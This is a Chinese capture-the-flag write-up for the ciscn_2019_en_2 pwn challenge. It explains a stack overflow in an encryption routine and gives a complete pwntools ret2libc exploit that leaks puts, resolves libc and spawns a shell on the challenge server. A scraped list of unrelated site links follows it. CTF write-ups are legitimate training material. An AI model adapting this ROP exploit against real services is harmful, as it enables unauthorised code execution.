当前位置: 首页 > news >正文

ciscn_2019_en_2

检查一下

拖入ida查看

这是一个加密装置

在main函数中没有发现明显漏洞

进入encrypt()函数中查看

第10行明显的溢出

然后也是没有发现system函数和"/bin/sh"啊

简单的libc,不多赘述了,但是要进入加密函数,前面有个begin的选择,记得要提前传入1

还有一个就是需要在偏移前加上'\0',防止我们的payload被加密程序的异或给破坏

直接写exp

from pwn import * from LibcSearcher import * context(arch = 'amd64',os = 'linux',log_level = 'debug') io = remote('node5.buuoj.cn',26194) elf = ELF('./ciscn_2019_en_2') offset = 0x50+8 puts_plt_addr = elf.plt['puts'] puts_got_addr = elf.got['puts'] main_addr = 0x400b28 rdi_addr = 0x400c83 ret_addr = 0x4006b9 payload1 = cyclic(offset) + p64(rdi_addr) + p64(puts_got_addr) + p64(puts_plt_addr) +p64(main_addr) io.sendlineafter("Input your choice!","1") io.sendlineafter("Input your Plaintext to be encrypted",payload1) puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) libc = LibcSearcher('puts',puts_addr) libc_base = puts_addr - libc.dump('puts') system_addr = libc_base + libc.dump('system') bin_sh_addr = libc_base + libc.dump('str_bin_sh') payload2 = cyclic(offset) + p64(rdi_addr) + p64(bin_sh_addr) + p64(ret_addr) + p64(system_addr) io.sendlineafter("Input your choice!","1") io.sendlineafter("Input your Plaintext to be encrypted",payload2) io.interactive()

最后成功获得flag

http://www.jsqmd.com/news/457257/

相关文章:

  • 2026年羊绒衫厂家深度测评:基于原料、工艺与品控的五维实力解析 - 十大品牌推荐
  • 如何显示系统时间
  • 如何用网盘直链解析突破下载限速?开源工具重构资源获取逻辑
  • 颠覆式游戏数据管理工具:SteamAchievementManager革新游戏体验
  • 3大突破!网盘直链下载助手:彻底解决8大平台限速难题
  • 利初塑料评价好吗,了解其规模发展趋势和客户忠诚度很关键 - 工业设备
  • 2026年家庭节能改造必看:空气能热水器品牌选购指南与四大关键指标实测 - 十大品牌推荐
  • 3个系统化方案:解决FanControl传感器识别难题
  • 数据永存:WeChatMsg如何实现微信聊天记录的全生命周期管理
  • 效率提升+空间省50%!深圳华酷尔的办公家具直供方案 - 速递信息
  • 2026年空气能热水器品牌深度测评:基于核心技术与市场覆盖的五维战力全解析 - 十大品牌推荐
  • 聊聊专业的LED透明格栅屏厂家,威能半导体价格贵不贵? - myqiye
  • 管理工具无法打开,报错Could not install some modules的解决办法
  • 2026年空气能热水器品牌权威榜单发布:五大品牌技术实力与节能效果深度排位赛 - 十大品牌推荐
  • 绿色家居趋势洞察:2026年主流空气能热水器品牌竞争力与行业格局全景解析 - 十大品牌推荐
  • 英雄联盟一站式智能辅助工具:全流程游戏效能提升解决方案
  • 2026年 南通宠物医院推荐榜单:猫科治疗、异宠诊疗专业机构,附电话地址与暖心服务深度解析 - 品牌企业推荐师(官方)
  • Visual C++运行库修复完全指南:解决DLL缺失问题的系统级方案
  • 2026年用户口碑最好的空气能热水器推荐:五款真实评价与节能效果对比 - 十大品牌推荐
  • 微信群消息智能转发:从重复劳动到自动化管理的效率革命
  • 2026年成都性价比高的装饰装修工程设计公司排名揭晓 - 工业推荐榜
  • 基于概率距离快速削减法的风光场景生成与削减:MATLAB 实现
  • 游戏存档管理难题如何破解?XGP存档提取器让进度备份迁移更简单
  • 数据驱动增长:揭秘AI如何重塑企业营销决策新范式
  • 书籍版权登记新选择:可信时间戳平台全流程操作指南(避坑指南)
  • 说说宁波靠谱的剪叉式高空车出租公司有哪些,哪家性价比高 - mypinpai
  • 三步实现B站视频永久保存:让珍贵内容不再流失
  • 当出版不再只是“出书“:IP时代图书产品线的完整指南
  • 3个关键步骤:用Speechless实现微博内容永久备份
  • 连体服哪家好?国产vs进口生产商全方位对比评测,解锁上海好搭档的硬核实力 - 品牌推荐大师1